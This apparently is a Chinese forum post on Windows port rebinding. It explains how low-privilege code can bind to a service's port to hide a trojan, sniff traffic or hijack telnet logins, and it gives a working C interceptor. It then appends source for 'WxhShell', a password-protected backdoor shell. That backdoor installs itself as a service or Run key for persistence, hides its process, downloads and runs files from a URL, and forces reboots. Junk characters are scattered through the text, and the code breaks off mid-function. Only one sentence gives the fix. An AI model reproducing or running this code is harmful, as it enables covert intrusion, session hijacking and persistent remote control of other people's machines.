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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D [K!xq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3?wL)6Uj8J  
L\t?^u  
  saddr.sin_family = AF_INET; R9~c: A4G  
'RIx}vPf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fRcy$  
di~ [Ivw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hsZ@)[/:  
!=vd:,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7@!3.u1B  
B[7Fq[.mh  
  这意味着什么?意味着可以进行如下的攻击: @F!oRm5  
_Q\<|~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q.l3F3;  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WWVQJ{,}  
A1aN<!ehB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V6^=[s R  
G~zP&9N|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  slG%o5|m  
_qSVYVJ u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XlxM.;i0H  
LP//\E_]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =5 $BR<'  
3 E!F8GZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a)M3t  
ujeN|W  
  #include d{c06(#_  
  #include #9]O92t2UV  
  #include < *db%{  
  #include    `s_k+ g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i dY Xv)R  
  int main() +-MieiKv  
  { ;^so;>F  
  WORD wVersionRequested; 8MBvp*  
  DWORD ret; ?l ](RI  
  WSADATA wsaData; xPP]RoPR  
  BOOL val; a}kPc}n\  
  SOCKADDR_IN saddr; 3q0S}<h al  
  SOCKADDR_IN scaddr; #i-b|J+%  
  int err; U{8x.CJ]  
  SOCKET s; 7m;<b$  
  SOCKET sc; )xYGJq4  
  int caddsize; 0 TOw4pC  
  HANDLE mt; &B} ,xcNO  
  DWORD tid;   '17V7A/t  
  wVersionRequested = MAKEWORD( 2, 2 ); fvZ[eJ  
  err = WSAStartup( wVersionRequested, &wsaData ); VI8/@A1Gv  
  if ( err != 0 ) { lQ?_1H~4=  
  printf("error!WSAStartup failed!\n"); \S)cVp)h  
  return -1; (Cbm*VL  
  } \m~Oaf;$  
  saddr.sin_family = AF_INET; <d$t*vnq  
   D<Z]kR(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p w=o}-P{  
s#)0- Zj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o(oD8Ni  
  saddr.sin_port = htons(23); Md>9Daa~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XOPiwrg%p  
  { ]?0]K!7Ea  
  printf("error!socket failed!\n"); n<DZb`/uHZ  
  return -1; @6{F4  
  } !'kr:r}gg  
  val = TRUE; ;^  YpQP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }n?D#Pk,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]oyWJ#8  
  { >$;,1N $bd  
  printf("error!setsockopt failed!\n"); PS`F  
  return -1; D]+@pK b  
  } 9mB] \{^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x3 01uf[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T&]IPOH9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E&> 2=$~  
muIJeQ.C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rh{`#dI~=  
  { 5O:4-} hz  
  ret=GetLastError(); $qM&iI-l0  
  printf("error!bind failed!\n"); OA&r8WK3  
  return -1; :VlMszy}B3  
  } E[Ao*  
  listen(s,2); 6'jgjWEe3&  
  while(1) 4+F@BxpB  
  { M8f[ck  
  caddsize = sizeof(scaddr); \}; 4rm}V  
  //接受连接请求 |pR'#M4j4A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !s[ gv1  
  if(sc!=INVALID_SOCKET) 8,]wOxwqi  
  { FOS*X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nSq$,tk(  
  if(mt==NULL) Bh()?{q  
  { !r9~K^EI  
  printf("Thread Creat Failed!\n"); 3tCT"UvTD  
  break; y+$a}=cb0  
  } Ba9"IXKH  
  } }C5Fvy6uz  
  CloseHandle(mt); %=i/MFGX  
  } YG6Y5j[-X~  
  closesocket(s); j`_tb   
  WSACleanup(); <E7y:%L[Go  
  return 0; ~!'T!g%C  
  }   jN!sL W  
  DWORD WINAPI ClientThread(LPVOID lpParam) ``Rg0o  
  { )wk9(|[o  
  SOCKET ss = (SOCKET)lpParam; hGo/Ve+@  
  SOCKET sc; FES0lw{G#  
  unsigned char buf[4096]; r-&* `Jh  
  SOCKADDR_IN saddr; kjOI7`DU  
  long num; xm> y3WC  
  DWORD val; E4xybVo@  
  DWORD ret; MG3xX;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lk4$c1ao2@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VaTA|=[;  
  saddr.sin_family = AF_INET; vw/GAljflu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pm:#@sl  
  saddr.sin_port = htons(23); +"PME1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kDc/]Zb%  
  { \;!g@?CA  
  printf("error!socket failed!\n"); K9S(Xip  
  return -1; XknbcA|  
  } NP$ D9#   
  val = 100; 1N+ju"2R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fP{IW`t}]  
  { py9`q7F  
  ret = GetLastError(); >&)|fV&4  
  return -1; g7Z3GUCGL  
  } z<8WN[fB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6V-JyTcxGI  
  { ;:P} s4p  
  ret = GetLastError(); 3+V.9TL'a  
  return -1; W(PNw2  
  } u\=yY.   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &&te(DC\  
  { \|$GBU  
  printf("error!socket connect failed!\n"); Qe]aI7Ei  
  closesocket(sc); 2z9N/SyN  
  closesocket(ss); ^1X 6DH`  
  return -1; gA&`vnNP  
  } (o1o);AO  
  while(1) D^A#C<Gs  
  { C40W@*6S2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C59H| S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /.:&9 c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?P Mi#H  
  num = recv(ss,buf,4096,0); 3q`Uq`t4mR  
  if(num>0) +xBM\Dz8  
  send(sc,buf,num,0); ! $fF3^8-  
  else if(num==0) |/!RN[<   
  break; 7'R7J"sY`|  
  num = recv(sc,buf,4096,0); mWH;-F*%  
  if(num>0) *NQsD C.J^  
  send(ss,buf,num,0); /(Ryh6M  
  else if(num==0) -@/!u9l  
  break; r1.OLn?C  
  } O @{<?[  
  closesocket(ss); DC*6=m_  
  closesocket(sc); Lg+cHaA  
  return 0 ; W! GUA<  
  } Fj1'z5$  
Q6fPqEX=  
+$B#] ,  
========================================================== [ejl #'*5  
wQ\bGBks  
下边附上一个代码,,WXhSHELL =[`gfw  
;>jOB>b{h  
========================================================== .$ 5*v  
<Sp>uhet1  
#include "stdafx.h" Z8WBOf*~e  
BzI(  
#include <stdio.h> Klqte*!  
#include <string.h> p.!p6ve){  
#include <windows.h> ivPX_#QI  
#include <winsock2.h> _6C,w`[[6  
#include <winsvc.h> 4m6%HV8{}[  
#include <urlmon.h> ' y_2"  
=v~$&@  
#pragma comment (lib, "Ws2_32.lib") ie<m)  
#pragma comment (lib, "urlmon.lib") Ve t<,;Te  
Lq{/r+tt/  
#define MAX_USER   100 // 最大客户端连接数 DO ,7vMO  
#define BUF_SOCK   200 // sock buffer D~@lpcI  
#define KEY_BUFF   255 // 输入 buffer !-q)9K?  
\,yg@ R  
#define REBOOT     0   // 重启 9a{9|p>L  
#define SHUTDOWN   1   // 关机 r+}<]?aT>-  
da5fKK/s  
#define DEF_PORT   5000 // 监听端口 fx/If  
fl<j]{*v  
#define REG_LEN     16   // 注册表键长度 #\MkbZc d  
#define SVC_LEN     80   // NT服务名长度 G3de<?K.[V  
eLk:">kj  
// 从dll定义API }~! D]/B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D?r% Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $TavvO%#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \D}$foHg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 zipgw  
n2&M?MGX  
// wxhshell配置信息 WmZ,c_  
struct WSCFG { *5R91@xt  
  int ws_port;         // 监听端口 xO;Qr.3PX  
  char ws_passstr[REG_LEN]; // 口令 N#7_)S[@0l  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Rlx  
  char ws_regname[REG_LEN]; // 注册表键名 KL8WT6!RZ  
  char ws_svcname[REG_LEN]; // 服务名 YtY.,H;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bs_rw+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (.~'\@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =B ts  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *+<H4.W H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D0 rqte  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Y$)s<u8.  
SNtOHTQ  
}; T$s)aM  
a}7P:e*u  
// default Wxhshell configuration r8[Ywn <u  
struct WSCFG wscfg={DEF_PORT, eHH9#Vrhc$  
    "xuhuanlingzhe", gO m%?sg  
    1, UQCond+K  
    "Wxhshell", *AA78G|  
    "Wxhshell", a,\GOy(q{  
            "WxhShell Service", %YI!{  
    "Wrsky Windows CmdShell Service", hVu~[ 'Me  
    "Please Input Your Password: ", rvBKJ!b0  
  1, -(|}:J  
  "http://www.wrsky.com/wxhshell.exe", t 2&}  
  "Wxhshell.exe" 73(5.'F  
    }; 0coRar?+b  
??XtN.]7  
// 消息定义模块 wm/>_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X$ 76#x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )LE#SGJP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T2i\S9X  
char *msg_ws_ext="\n\rExit."; [`=:uUf3  
char *msg_ws_end="\n\rQuit."; 2%t!3F:  
char *msg_ws_boot="\n\rReboot..."; 9XW[NY#)#  
char *msg_ws_poff="\n\rShutdown..."; Axx{G~n![  
char *msg_ws_down="\n\rSave to "; a1A3uP  
kF7`R4Sz  
char *msg_ws_err="\n\rErr!"; j% E9@#  
char *msg_ws_ok="\n\rOK!"; dV+GWJNNE  
W^dRA xVX  
char ExeFile[MAX_PATH]; (JeRJ4  
int nUser = 0; uCGn9]  
HANDLE handles[MAX_USER]; 0/?=FM >  
int OsIsNt; k{pn~)xg  
{m 5R=22^  
SERVICE_STATUS       serviceStatus; 3Tr}t.mt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U%_6'5s{^  
PoRL35  
// 函数声明 v$bR&bCT  
int Install(void); / lN09j  
int Uninstall(void); EO \@#",a  
int DownloadFile(char *sURL, SOCKET wsh); &6@e9ff0  
int Boot(int flag); z;[Z'_B  
void HideProc(void); SLI358]$<  
int GetOsVer(void); e+P|PW  
int Wxhshell(SOCKET wsl); )lB*] n`Z]  
void TalkWithClient(void *cs); %~YQl N  
int CmdShell(SOCKET sock); 9/LJ tM  
int StartFromService(void); g;<_GL  
int StartWxhshell(LPSTR lpCmdLine); >?0f>I%\  
407;M%?'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m4kUA"n5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^tKJ}}  
VWcR@/3  
// 数据结构和表定义 1F }mlyS  
SERVICE_TABLE_ENTRY DispatchTable[] = E 9n7P'8  
{ 6'vt '9  
{wscfg.ws_svcname, NTServiceMain}, ?kM53zbT#  
{NULL, NULL} `PvGfmYOl  
}; Wy,Tf*[  
<=7^D  
// 自我安装 vxx7aPjC  
int Install(void) f=*xdOB3  
{ h5R5FzY0&  
  char svExeFile[MAX_PATH]; H1g"09?h6o  
  HKEY key; @awN*mO  
  strcpy(svExeFile,ExeFile); 0qMf6  
OL)M`eVQ'  
// 如果是win9x系统,修改注册表设为自启动  p(Bn!  
if(!OsIsNt) { J0"<}"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?$FvE4!n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B|n<{g[-cM  
  RegCloseKey(key); /-jk_8@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @^93q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KmlpB  
  RegCloseKey(key); FR@## i$  
  return 0; B~2\v%J  
    } p&ml$N9fd  
  } v_Y'o _  
} 4>xv7  
else { WgQ6EV`  
3RTraF  
// 如果是NT以上系统,安装为系统服务 [XP3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rnC u=n  
if (schSCManager!=0) cYMlc wS  
{ :N([s(}!$2  
  SC_HANDLE schService = CreateService 7A[`%.!F6  
  ( Bn_@R`  
  schSCManager, _jCjq   
  wscfg.ws_svcname, +A,t9 3:k  
  wscfg.ws_svcdisp, L(!mm  
  SERVICE_ALL_ACCESS, ^atBf![  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 27Ve$Q8]v  
  SERVICE_AUTO_START, /IN/SZx  
  SERVICE_ERROR_NORMAL, sd~T  
  svExeFile, RW. >;|m  
  NULL, /K]<7  
  NULL, -N[Q*;h|  
  NULL, sw715"L  
  NULL, sj?7}(s  
  NULL &Kgl\;}  
  ); Qv@Z#  
  if (schService!=0) lj!f\C}d  
  { H|iY<7@  
  CloseServiceHandle(schService); i%)Nn^a;T  
  CloseServiceHandle(schSCManager); ?5L.]Isa5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [1*3 kt*h  
  strcat(svExeFile,wscfg.ws_svcname); W!BIz&SY:-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JH0L^p   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X%._:st  
  RegCloseKey(key); 9 6'{ES9D  
  return 0; yy6?16@  
    } "cUCB  
  } uR7\uvibUO  
  CloseServiceHandle(schSCManager); :9`T.V<?  
} 4X &\/X  
} :3x|U,wC  
z2QZ;ZjvRS  
return 1; Ya)s_Zr7  
} a jCx"J  
^#4?v^QNh  
// 自我卸载 ?#LbhO*   
int Uninstall(void) 4F+n`{~  
{ DEw_dOJ(  
  HKEY key; NN9` jP2  
H `V3oS~}  
if(!OsIsNt) { ^3L6mOoA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^^I3%6UY  
  RegDeleteValue(key,wscfg.ws_regname); @*gm\sU4  
  RegCloseKey(key);  TVP.)%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i>C:C>~  
  RegDeleteValue(key,wscfg.ws_regname); ;ip"V 0`  
  RegCloseKey(key); bstc|8<  
  return 0; THM\-abz  
  } +0Rr5^8u  
} \&p MF  
} oiq7I@Y`x  
else { j:9kJq>mv  
-/.Xf<y58  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ji[O?  
if (schSCManager!=0) _/_1:ivY8  
{ ;$y(Tvd;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ec4jiE  
  if (schService!=0) 7lvUIc?krW  
  { l ^*GqP5  
  if(DeleteService(schService)!=0) { Oop;Y^gG}  
  CloseServiceHandle(schService); KGclo-,  
  CloseServiceHandle(schSCManager); Uk02VuS  
  return 0; n#G I& U  
  } o[bG(qHZ  
  CloseServiceHandle(schService); wr=h=vXU[  
  } ,f4mFL0~N  
  CloseServiceHandle(schSCManager); b g'B^E3  
} Fs_umy#  
} M[ (mH(j  
,HEx9*E/s  
return 1; e4V4%Qw  
} AT:T%a:G?  
d))(hk:  
// 从指定url下载文件 .3%eSbt0  
int DownloadFile(char *sURL, SOCKET wsh) :Gh* d)  
{ rdsm /^,s  
  HRESULT hr; $Gs&' y R  
char seps[]= "/"; ->oQ,ezB  
char *token; HN\Zrb  
char *file; >o=3RB=Fh  
char myURL[MAX_PATH]; _be*B+?2t  
char myFILE[MAX_PATH]; W%f:+s}cI  
Ds$8$1=L=k  
strcpy(myURL,sURL); Hut au^l  
  token=strtok(myURL,seps); zn T85#]\@  
  while(token!=NULL) U n#7@8,  
  { 66?!"w  
    file=token; mAFqA  
  token=strtok(NULL,seps); ,uD F#xjl,  
  } 0KyujU?sF  
A / N$  
GetCurrentDirectory(MAX_PATH,myFILE);  I)E+  
strcat(myFILE, "\\"); ^A^,/3  
strcat(myFILE, file); `~hAXnQK=  
  send(wsh,myFILE,strlen(myFILE),0); 8x jJ  
send(wsh,"...",3,0); BYEqTwhT&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w0Fi~:b  
  if(hr==S_OK) 8u$Kr q  
return 0; ,epKt(vl  
else {}?s0U$5  
return 1; Q/6T?{\U7  
 U&PAs e  
} JEX{jf  
"aN<3b  
// 系统电源模块 GdavCwJ  
int Boot(int flag) jK#y7E  
{ . *>LD  
  HANDLE hToken; OE-$P  
  TOKEN_PRIVILEGES tkp; X6 ~y+ R  
mD:d,,~  
  if(OsIsNt) { J p.Sow  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jMUE&/k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wxg,y{(`  
    tkp.PrivilegeCount = 1; Eo\# *Cv*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L`YnrDZK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =iRi 9r'l  
if(flag==REBOOT) { ^Ois]#py  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EH"iK2n\9  
  return 0; pv TV*  
} #lQbMuR  
else { xTX\% s|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) * eL%[B  
  return 0; $"T1W=;j9  
} EA2BN}  
  } |H5){2V>K  
  else { rd\mFz-SB  
if(flag==REBOOT) { []0`>rVq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6hYv  
  return 0; 2](R}  
} !&TbE@Xk  
else { U KF/v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qt}vM*0}V  
  return 0; gh}FZs5 P  
} N{`-&8q;K  
} ?rWqFM:hb  
!h7`W*::  
return 1; Ly\$?3 h  
} $Vbgfp~U-  
?]f+)tCMs  
// win9x进程隐藏模块 F8Y D:   
void HideProc(void) uJMF\G=nb  
{ $Ha?:jSc  
e%N\Pshgv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z?[;Japg  
  if ( hKernel != NULL ) "j3Yu4_ks  
  { |Wj)kr !|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F {]:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @y->4`N  
    FreeLibrary(hKernel); q^Lj)zmnK  
  } ^o"9f1s5  
P6S^wjk  
return; <(?ahO5  
} jt tlzCDn  
<8!mmOK1  
// 获取操作系统版本 e>1^i;f  
int GetOsVer(void) oScHmGFv  
{ Jd&Qi)1  
  OSVERSIONINFO winfo; P /wc9Yt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a<sE dp  
  GetVersionEx(&winfo); \,[Qg#W$u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~.AUy%$_g+  
  return 1; 1[J&^@t[h6  
  else -hL8z$}  
  return 0; )rz4IfE  
} {LJwW*?  
9+9}^B5@A  
// 客户端句柄模块 '/b,3:  
int Wxhshell(SOCKET wsl) dnNC = siY  
{ #@Zz Bf  
  SOCKET wsh; B[C2uVEX:  
  struct sockaddr_in client; zrU0YHmt  
  DWORD myID; kJ>l, AD/  
H]"Z_n_  
  while(nUser<MAX_USER) CBs0>M/  
{ }k duN0  
  int nSize=sizeof(client); 9fvy)kX;s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;38DBo  
  if(wsh==INVALID_SOCKET) return 1; sqei(OXy  
i5|A\Wv"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J^pL_  
if(handles[nUser]==0) >AV-i$4eQ@  
  closesocket(wsh); xv's52x  
else s}`ydwSg8  
  nUser++; w@nN3U+  
  } it5].A&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Nl-3I.S^  
E92dSLhs5  
  return 0; +kH*BhSj  
} ;QW6Tgt11  
v(FO8*5DZ  
// 关闭 socket Dq*>+1eW2  
void CloseIt(SOCKET wsh) ! s?vj <  
{ '7 6}6G%  
closesocket(wsh); nBaY|  
nUser--; q*@7A6:FV>  
ExitThread(0); 5IBe;o  
} E0>4Q\n{  
/t%IU  
// 客户端请求句柄 T WEmW&Q  
void TalkWithClient(void *cs) 5ts8o&|   
{ XkCbdb  
P00d#6hPJ  
  SOCKET wsh=(SOCKET)cs; tu6c!o,@  
  char pwd[SVC_LEN]; z++*,2F  
  char cmd[KEY_BUFF]; 8 ]dhNA5  
char chr[1]; p<`q^D  
int i,j; t}qoIxy)  
Io5-[d  
  while (nUser < MAX_USER) { | 3!a=  
_z)G!_7.>\  
if(wscfg.ws_passstr) { JnmJN1@I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nC qUg_{D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X/];*='Q  
  //ZeroMemory(pwd,KEY_BUFF); my[)/'  
      i=0; niFX8%<hP  
  while(i<SVC_LEN) { UALwr>+VJ  
WA8Qt\Q  
  // 设置超时 6WgGewn  
  fd_set FdRead; /+"BU-aQk  
  struct timeval TimeOut; >wdR4!x!?  
  FD_ZERO(&FdRead); `{N0+n  
  FD_SET(wsh,&FdRead); ZJ 8~f  
  TimeOut.tv_sec=8; W.-[ceM  
  TimeOut.tv_usec=0; &rorBD 5aj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =KmjCz:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W~POS'1  
1V+a;-?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +AtZltM i  
  pwd=chr[0]; IW Lv$bPZ/  
  if(chr[0]==0xd || chr[0]==0xa) { tcwE.>5O  
  pwd=0; %^p1ax  
  break; &tj0Z:  
  } jLI(Z  
  i++; 6;l{9cRgc  
    } rfkk3oy  
dum! AO  
  // 如果是非法用户,关闭 socket YCj"^RC^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?2 u_E "  
} >+7+ gSD#:  
d@b"tb}R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Bw9%P~ G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %njX'7^u  
G=jdb@V/?  
while(1) { WT;=K0W6&  
u!k\W{  
  ZeroMemory(cmd,KEY_BUFF); S3MMyS8  
LU?X|{z  
      // 自动支持客户端 telnet标准    KY!  
  j=0; sI@m"A  
  while(j<KEY_BUFF) { ZQD_w#0j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }wC pr.@  
  cmd[j]=chr[0]; T3@wNAAU  
  if(chr[0]==0xa || chr[0]==0xd) { $`i$/FE  
  cmd[j]=0; b~Y$!fc  
  break; g*N~r['dZ  
  } NC>rZS]  
  j++; X<x"\Yk  
    } @r%[e1.  
;? '`XB!  
  // 下载文件 %q;3b fq@N  
  if(strstr(cmd,"http://")) { R."<he ;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {[jcT>.3j  
  if(DownloadFile(cmd,wsh)) 5H6m{ng  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F1 a  
  else drBWo|/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 54JZEc  
  } lV?rC z  
  else { )xiic3F  
H\Y.l,^  
    switch(cmd[0]) { )p~\lM}?d  
  |<\o%89AM  
  // 帮助 7Z0 )k9*  
  case '?': { ~Hd{+0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ih;6(5z  
    break; `ihlKFX  
  } `pn]jpW9  
  // 安装 ua/A &XQx  
  case 'i': { 7ib~04  
    if(Install()) _SY<(2s]B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mv/'H^"[_  
    else jF<Y,(C\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rqxoqcZ  
    break; mEa\0oPGB  
    } k_r12Bu  
  // 卸载 pD9*WKEf*  
  case 'r': { yc8iT`  
    if(Uninstall()) SuB;Nb7r`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c_~)#F%P  
    else [uT& sZxmg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TbXp%O:[W  
    break; Lp 5LRw  
    } >to NGGU=~  
  // 显示 wxhshell 所在路径 [<}:b>a  
  case 'p': { UA!-YTh  
    char svExeFile[MAX_PATH]; AY5%<CWj8  
    strcpy(svExeFile,"\n\r"); .5p"o-:D  
      strcat(svExeFile,ExeFile); MH.,dB&  
        send(wsh,svExeFile,strlen(svExeFile),0); 2oXsPrtZ  
    break; 7Y&W^]UZ0t  
    } r,(rWptf4  
  // 重启 $iUK, ?  
  case 'b': { rZLTai}`>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |_&vW\  
    if(Boot(REBOOT)) v,bes[Ik  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w,SOvbAxX2  
    else { `{c %d  
    closesocket(wsh); =5 l7{i*`  
    ExitThread(0); EoD;'+d  
    } #~^#%G  
    break; 1&ukKy,[  
    } g>12!2}  
  // 关机 w= |).qQ]  
  case 'd': { Z*tB=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Wa^:8N  
